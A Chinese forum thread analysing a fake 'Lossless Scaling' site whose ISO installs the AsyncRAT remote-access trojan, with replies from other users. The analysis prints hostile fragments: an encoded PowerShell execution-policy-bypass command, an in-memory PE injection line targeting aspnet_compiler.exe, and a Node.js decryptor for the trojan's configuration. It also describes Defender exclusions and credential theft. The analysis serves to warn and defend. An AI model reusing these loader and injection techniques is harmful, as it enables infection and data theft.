MicroBlock 发表于 2025-2-7 03:05

Lossless Scaling 冒牌货小黄鸭分析

本帖最后由 MicroBlock 于 2025-2-7 03:27 编辑

冒牌货官网:https://lossless-scaling.com/
在必应/Google第一页第一个,都是它,非常恶心

下载得到一个 .iso,挂载 iso 如下


打开 bat 文件,发现是加密过的


直接编辑 powershell 到 echo,加个pause,发现执行了如下指令
"$b='"cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtRmlsZSBsYW5ndWFnZS93aW5feC5wczE="';Invoke-Expression(::UTF8.GetString(::FromBase64String($b)))"

解码base64得到如下命令行
powershell -ExecutionPolicy Bypass -File language/win_x.ps1


找到对应文件,内容如下




逻辑很简单
1. 主要文件被藏在 en-US 和 uk-UA 两个语言文件夹下
2. 复制到了 C:\Users\Public\IObitUnlocker 和 C:\Program Files (x86)\Lossless Scaling
3. 注册了原版小黄鸭的 Steam ID,使其在steam上显示为已安装
4. 执行了另一个脚本

再看另一个脚本 Win.ps1

(还tm有注释,这是哪国语言啊)

1.添加 Microsoft Defender 豁免文件夹(惯用操作了)
2.

尝试关闭一堆杀毒软件
3. 给 C:\Users\Public\IObitUnlocker\Loader.vbs 添加开机自启动

接下来魔幻的东西来了



EN.dll 是一个 RAR 文件
RU.dll 是一个 vb 脚本
UK.dll 和 Win.ps1 内容一样,是一个ps1脚本



rar 有密码,在 UK.dll 内直接找到密码 ahmad..123




内有loader等,继续拆

有一个 Report.ps1





同样 IEX 换成 echo 搞定真实内容


内有一个恶意二进制
使用
::Load($WTYX3).GetType('NewPE.PE').GetMethod('Execute').Invoke($null,] ('C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe',$GFFHY4))
动态在内存中生成 PE 文件并执行,其中WTYX3和GFFHY4应该都是可执行文件,WTYX3看起来就是个loader,先不管,我们先把 GFFHY4拿出来
::WriteAllBytes("$PWD/payload.bin", $GFFHY4)


很小一个,拖进 BN

结果发现是 C# 写的,关掉BN,拖进 dnSpy



随便看看,就有各种嫌疑代码


1. 给自己设置最高等级的开机自启动



2. 加密网络流


注意 230 行处,以收到的命令为参数启动线程

3. 接收到的远程执行命令全流程

4. 更多来自攻击者的命令接收
这里使用了明文,非常明显了
-关闭 UAC
- 读取所有 Cookies,本地密码管理器内存储的密码并上传
- 从主控端下载文件并执行
- 更多动态编译的功能,这里就不细看了

5. 服务器


稍微跟一下,可以发现这个服务器地址是 AES 加密的,而

密钥只是一个简单的base64,解码为:Z3Qm1zzkkXh9HzsJWTLeTHla4tCQk5jQ

我们直接照着他的算法抄一份 Node.JS 的

const crypto = require('crypto');
function VXoXrMatOspJbEgD(rAMDwziHxfjPkEqd, key, hmacKey) {
    if (!rAMDwziHxfjPkEqd) {
      throw new Error("input can not be null.");
    }
    const memoryStream = Buffer.from(rAMDwziHxfjPkEqd);
    // HMAC-SHA256 verification
    const hmac = crypto.createHmac('sha256', hmacKey);
    hmac.update(memoryStream.slice(32));
    const computedHmac = hmac.digest();
    const receivedHmac = memoryStream.slice(0, 32);
    if (!crypto.timingSafeEqual(computedHmac, receivedHmac)) {
      throw new Error("Invalid message authentication code (MAC).");
    }
    // Extract IV and encrypted data
    const iv = memoryStream.slice(32, 48);
    const encryptedData = memoryStream.slice(48);
    // AES-256-CBC decryption
    const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
    decipher.setAutoPadding(true); // PKCS7 padding
    let decrypted = decipher.update(encryptedData);
    decrypted = Buffer.concat([decrypted, decipher.final()]);
    return decrypted;
}

function orsaLNQpzbmXvuC(masterKey) {
    if (!masterKey) {
      throw new Error("masterKey can not be null or empty.");
    }
    const salt = Buffer.from([
      191, 235, 30, 86, 251, 205, 151, 59, 178, 25,
      2, 36, 48, 165, 120, 67, 0, 61, 86, 68,
      210, 30, 98, 185, 212, 241, 128, 231, 230, 195,
      57, 65
    ]);
    const iterations = 50000;
    const keyLength = 96;
    const derivedKey = crypto.pbkdf2Sync(masterKey, salt, iterations, keyLength, 'sha1');
    const FPgveyeVEBdL = derivedKey.slice(0, 32);
    const piWLIFgMuOZQB = derivedKey.slice(32, 96);
    return { FPgveyeVEBdL, piWLIFgMuOZQB };
}
const masterKey = 'Z3Qm1zzkkXh9HzsJWTLeTHla4tCQk5jQ';
const { FPgveyeVEBdL, piWLIFgMuOZQB } = orsaLNQpzbmXvuC(masterKey);
console.log('FPgveyeVEBdL:', FPgveyeVEBdL.toString('hex'));
console.log('piWLIFgMuOZQB:', piWLIFgMuOZQB.toString('hex'));

const encryptedData = Buffer.from('bMr+Y2AOU65oA+bQQrFw2tIu6n1LeVvNQOPAQH6LxOPChy/ONUWcUFSMvLVFl6FYYXtRqVAV7SxbVHm37Mpz6Q==', 'base64');
const key = Buffer.from(FPgveyeVEBdL, 'hex');
const hmacKey = Buffer.from(piWLIFgMuOZQB, 'hex');
try {
    const decryptedData = VXoXrMatOspJbEgD(encryptedData, key, hmacKey);
    console.log('Decrypted data:', decryptedData.toString('utf8'));
} catch (error) {
    console.error('Decryption failed:', error.message);
}

直接解码得到远控地址:e***6.g***e.com
还可以解码出一些其它信息,应该是木马的配置文件(这TM还是预制木马?)


这时候我们再回头来看另一个二进制文件,很容易就发现它是一个 ProjFUD Injector,将另外一个 Payload 注入到 .net 的 compiler 里面

非常明显,这就是一个 RAT 远控肉鸡木马,将特征上网搜索后可知,该木马归属于 AsyncRAT。

各位坛友下软件时一定要小心,这种看起来就很可疑的软件就不要执行了
另外,已经下载执行了的朋友个人建议首先退出所有登录了的账号,修改所有账号的密码,然后直接全盘清空重装,这种会在你电脑上下别的病毒的病毒,你说不清楚他到底都干了些啥。

这个样本的分析难度较低,主要难点依然在于分析两个混淆很严重的二进制,但是由于是 C#,难度也直线下降了;本次分析我没有用到动态分析,主要是懒。目标除了脑子比较抽象,都很常规

Dream_Peng 发表于 2025-2-7 14:11

分析得很专业。我完全看不懂

chengguanheihua 发表于 2025-2-10 18:11

https://lossless-scaling.cybar.xyz/#screenshots 这个网址下的扫出来是下面这个

https://s.threatbook.com/report/file/231ea35a10bb693b91eb2f1f520279fc85e6e3dcd8df0999d365b4fc8b7c60a6显示安全,应该没问题吧?有没有大佬分析一下

ziyuejun 发表于 2025-2-7 10:42

感谢分享!分析得很专业

Miracle0927 发表于 2025-2-7 11:52

感谢分享 这个太容易上当了 毕竟还是google第一个

超逸绝尘 发表于 2025-2-7 13:10

分析的非常专业

plutoxxy 发表于 2025-2-7 14:49

有些dy和阿B的博主教程放的都是这个网址{:1_907:}

nowns 发表于 2025-2-7 15:10

plutoxxy 发表于 2025-2-7 14:49
有些dy和阿B的博主教程放的都是这个网址

那就不知道是故意的,还是不小心的了

eiyou 发表于 2025-2-7 15:32

google第一个这是咋做到的

hqt 发表于 2025-2-7 15:35

https://s.threatbook.com/report/file/32b9247f8a96f82bf260df7026a03b20fd61e5b6d63d11f73f97159485b90ca0

杀软输了{:1_937:}

Debug4 发表于 2025-2-7 17:54

分析的非常专业
页: [1] 2 3 4 5 6 7 8
查看完整版本: Lossless Scaling 冒牌货小黄鸭分析